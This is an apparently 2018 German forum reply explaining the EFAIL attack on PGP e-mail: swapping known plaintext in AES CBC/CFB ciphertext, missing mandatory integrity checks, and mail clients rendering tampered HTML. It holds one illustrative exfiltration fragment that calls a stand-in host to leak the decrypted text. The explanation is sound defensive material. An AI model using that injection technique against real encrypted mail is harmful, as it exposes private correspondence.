LL electronics schrieb am 17.05.2018 12:01:
2) MDC (Modification Detection Code [ja mittlerweile hab ich gelernt was es heiĂźt]) wird nicht beachtet.
Es handelt sich dabei um eine Möglichkeit vor dem verschlüsselten Text einen eigenen Text einzuschleusen, der dann ja bekannt ist und bei der erneuten Verschlüsselung (Kommunikation muss da also mehrfach abgefangen werden), kann aus dem bekannten Text der Schlüssel herausgefunden werden, der dann für die Entschlüsselung der gesamten Nachricht dienen kann.
Nein, auch nicht. Der zweite Bug wird im Video sehr schlecht erklärt (eigentlich gar nicht), weil es eine Verkettung mehrerer Probleme ist.
Was da passiert, ist folgendes: AES im CBC/CFB-Mode hat ein Known-Plaintext-Problem: Kennt man den Klartext, kann man ihn durch einen anderen Text ersetzen. Das geht grundsätzlich bei allen Stream Ciphers, und bei einigen Block Ciphers. Der Grund ist, dass die eigentliche Verschlüsselung ein XOR von Klartext und einem erzeugten Strom von Zufallszahlen ist. Bei AES CBC muss man dafür den vorhergehenden Block ersetzen, bei CFB den aktuellen. Beide Modes kriegen sich durch so eine Änderung wieder ein, d.h. die folgenden Blöcke werden dann wieder richtig entschlüsselt, auch wenn ein Block dann kaputt bleibt (bei CBC der Block vor dem angegriffenen, bei CFB der Block nach dem angegriffenen). Was man hier macht, ist folgendes. Sagen wir, ich beginne meine verschlüsselte E-Mails an meine DSGVO-Anwälte immer mit
Sehr geehrte Herren Rechtsanwälte Wilde Beuger Solmecke,
Und meine verschlĂĽsselten E-Mails an meinen Kummel immer mit
Hallo Klaus, altes Haus, wie geht's, wie steht's?
und der Gegner weiĂź das (eine typische Nutzung, die Enigma auch das Genick gebrochen hat). Dann kann ich diese 16 Zeichen ersetzen, und zwar durch
<inline src="//x.to/?q=...
Und die gleiche LĂĽcke im Mailer exfiltriert dann den unbekannten Rest.
Abhilfe ist der kryptographische Integritäts-Check (optimal: HMAC oder AEAD), der eben zwingend notwendig ist — und das ist sehr peinlich, dass das immer noch nicht verpflichtend da ist. MDC wird halt nicht zwingend gemacht, und selbst dort, wo es gemacht wird, wird nicht der kaputte Text verworfen, sondern nur eine Warnung angezeigt; der kaputte (oder auch falsch signierte) Text wird aber tatsächlich angezeigt. Und genau das Anzeigen im HTML-Renderer ist ja das eigentliche Problem.
Grundsätzlich gilt bei jeder Verschlüsselung, dass die Endpoint-Security das schwierigste Problem ist (eigentlich noch schwieriger als die PKI, die das zweitschwierigste Problem ist ;-). Die Verschlüsselung selbst ist auch bei PGP nicht knackbar; dieser Bug legt offen, dass es ein remote ausnützbares Endpoint-Security-Problem gibt, das recht weit verbreitet und vergleichsweise einfach auszunutzen ist.
Zu den angesprochenen Messengern: Signal, Telegram, LINE, WhatsApp und was weiĂź ich noch alles sind z.B. in China allesamt entweder blockiert, oder zumindest unbenutzbar langsam. Das einzig richtig sichere Protokoll, das in China ohne zu murren funktioniert, ist mein net2o, und die ersten (unbrauchbaren ;-) Angriffe habe ich schon gesehen. net2o hat im aktuellen Entwicklungszustand nur ein paar Tester, das ist kein verbreitetes Protokoll. Als P2P-Netz ist es erheblich schwieriger zu blocken.
Ob die Berichterstattung tatsächlich ein Image-Problem erzeugt, weiß ich nicht. Die Realität ist doch, dass 99,5% der Leute mit PGP gar nichts machen. Jede Berichterstattung ist da positiv, weil es zumindest den Eindruck erweckt, dass das relevant ist. Und ggf. kann man auch die Message, dass Thunderbird jetzt gepatcht ist, äh, PGP-Verschlüsselung jetzt wieder sicher ist, auch groß rausbringen.
Was auch nicht zu entschulden ist, ist dieses darangepappte Plugin-Zeugs in den populären Mailern. Wir packen auch TLS nicht als Browser-Plugin hinten dran. Ich weiß nicht, wer dafür verantwortlich ist (vermute aber, die NSA). Kmail macht's richtig, da ist PGP seit langem integraler Bestandteil, und Kmail hat auch mit dieser Lücke kein Problem. Sicherheit muss man halt eindesignen, und das findet bei E-Mail nicht statt.
Letztlich könnte man da, wenn man streng ist, auch so ein Regime fahren wie beim WWW, bei dem HTTP langsam aber sicher aus der Mode kommt, und TLS 1.3 die unsicheren alten Modes ersetzt. Es müsste aber ein Konsens da sein, das zu machen (unter den Herstellern). Eine PKI, die Normalmenschen benutzen können, lässt sich auch bei E-Mail einbauen, siehe PEP. Das ist nicht das Problem. Es ist das nicht wollen der Entwickler populärer Programme wie Outlook oder Thunderbird. Man kann da ganz klar mit dem Finger auf Schuldige deuten.